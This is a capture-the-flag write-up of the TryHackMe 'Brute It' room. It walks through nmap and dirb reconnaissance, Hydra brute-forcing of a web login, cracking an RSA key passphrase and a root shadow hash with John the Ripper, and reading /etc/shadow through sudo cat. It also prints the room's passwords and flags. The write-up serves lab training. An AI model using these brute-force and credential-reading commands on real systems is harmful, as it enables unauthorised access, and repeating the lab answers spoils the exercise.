TryHackMe: BRUTE IT CTF Write-up

Overview

In cybersecurity, successful exploitation is rarely about luck — it is built on thorough, methodical reconnaissance. This write-up covers the Brute It CTF room. The goal of this walkthrough is to demonstrate a structured approach to web reconnaissance, directory enumeration, weak authentication brute-forcing with Hydra, RSA key decryption using John the Ripper, and Linux privilege escalation via sudo rights and shadow hash cracking.

Step 1: Reconnaissance & Web Enumeration

Before diving into the application, we perform comprehensive port scanning and directory discovery to map out the target.

1. Nmap Network Scan

We run an Nmap scan to identify open ports, service versions, and operating system details:

nmap -sC -sV -Pn <target IP>

nmap -sC -sV -Pn <target IP>

Q1: How many ports are open?

• Two ports open (Port 22 and Port 80).

**Q2: What version of SSH is running?

• OpenSSH 7.6p1** (Ubuntu).

Q3: What version of Apache is running?

• Apache/2.4.29.

Q4: Which Linux distribution is running?

• Ubuntu.

2. Hidden Directory Enumeration (Dirb / Gobuster)

Using directory enumeration tools, we search for hidden directories and sensitive endpoints:

dirb http://<target IP>

dirb http://<target IP>

Q5: What is the hidden directory? /admin (Discovered login panel at /admin or /admin/index.php).

Step 2: Exploitation — Weak Authentication & Hydra Brute-Forcing

1. Inspecting the Login Page By viewing the page source of the login panel (/admin/), we discover a developer comment hinting at the username:

Using browser developer tools (Network Tab - Request - Raw), we identify the HTTP POST request payload format: user=admin&pass=admin (URL-encoded form data).

2. Password Brute-Forcing with Hydra Since the authentication uses an HTTP POST form with a specific error message (username or password invalid), we configure Hydra to perform a targeted brute-force attack using the rockyou.txt wordlist:

hydra -l admin -P /usr/share/wordlists/rockyou.txt <target IP> http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:F=Username or password invalid"

hydra -l admin -P /usr/share/wordlists/rockyou.txt <target IP> http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:F=Username or password invalid"

Result: Hydra successfully cracks the password.

Admin Credentials: Username: admin Password: xavier

Web flag

THM{brut3_f0rce_is_e4sy}

Step 3: Initial Access & User Flag (John the Ripper & SSH)

1. Locating John's RSA Private Key

Logging into the admin panel (/admin/panel/) with our credentials reveals a message for John containing his encrypted RSA private key.

We copy and save the key locally into a file named RSA.txt.

2. Cracking the RSA Key Passphrase with John the Ripper

Since the private key is encrypted (AES-128-CBC), we need to extract its hash and crack the passphrase:

# Extract the SSH hash format for John
ssh2john RSA.txt > RSA1.txt

# Extract the SSH hash format for John
ssh2john RSA.txt > RSA1.txt

# Crack the passphrase using rockyou.txt
/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt RSA1.txt

# Crack the passphrase using rockyou.txt
/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt RSA1.txt

Result: The passphrase is cracked as rockinroll.

3. Connecting via SSH & Capturing user.txt

Before using the private key for SSH, we must secure its file permissions so that only the owner can read/write it:

You can try ssh connection, but we don't have permission with admin. Because of this we're using SSH Private key to connect the user machine.

chmod 600 RSA.txt
ssh -i RSA.txt john@<target IP>

chmod 600 RSA.txt
ssh -i RSA.txt john@<target IP>

Enter passphrase for key 'RSA.txt': rockinroll

Once logged in as john, we read the user flag:

cat user.txt

cat user.txt

User Flag: THM{a_password_is_not_a_barrier}

sudo

Step 4: Privilege Escalation & Root Flag

1. Checking Sudo Privileges

We inspect our sudo permissions on the machine:

sudo -l

sudo -l

Finding: The user john may run /bin/cat as root without a password (NOPASSWD: /bin/cat).

2. Extracting the Root Password Hash

Leveraging our sudo right over cat, we inspect /etc/shadow to find the root user's password hash:

sudo cat /etc/shadow

sudo cat /etc/shadow

cat | GTFOBins Living off the land using "cat".

Root Hash Found: $6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47L0Ag/...

3. Cracking the Root Hash with John the Ripper

We save the root hash into a file named password.txt on our attacking machine and crack it using John:

/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt password.txt

/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt password.txt

Result: The root password is cracked as football.

4. Switching to Root & Capturing root.txt

Using the cracked root password, we switch user context to root and retrieve the final flag:

su root
# Enter password: football
cd /root
cat root.txt

su root
# Enter password: football
cd /root
cat root.txt

Root Flag: THM{pr1v1l3g3_3sc4l4t10n}

Summary & Key Takeaways

This room demonstrates how combining minor misconfigurations can lead to a full system compromise:

Reconnaissance: Source code comments (<!-- username is admin -->) and exposed directories (/admin) provided our initial entry point. Brute-Forcing: Weak web authentication fell quickly to Hydra's HTTP POST form attack. Key Cracking: Stored RSA private keys with weak passphrases (rockinroll) are easily cracked offline using John the Ripper. Privilege Escalation: Unrestricted sudo rights on /bin/cat allowed us to read /etc/shadow, crack the root password (football), and claim full system access.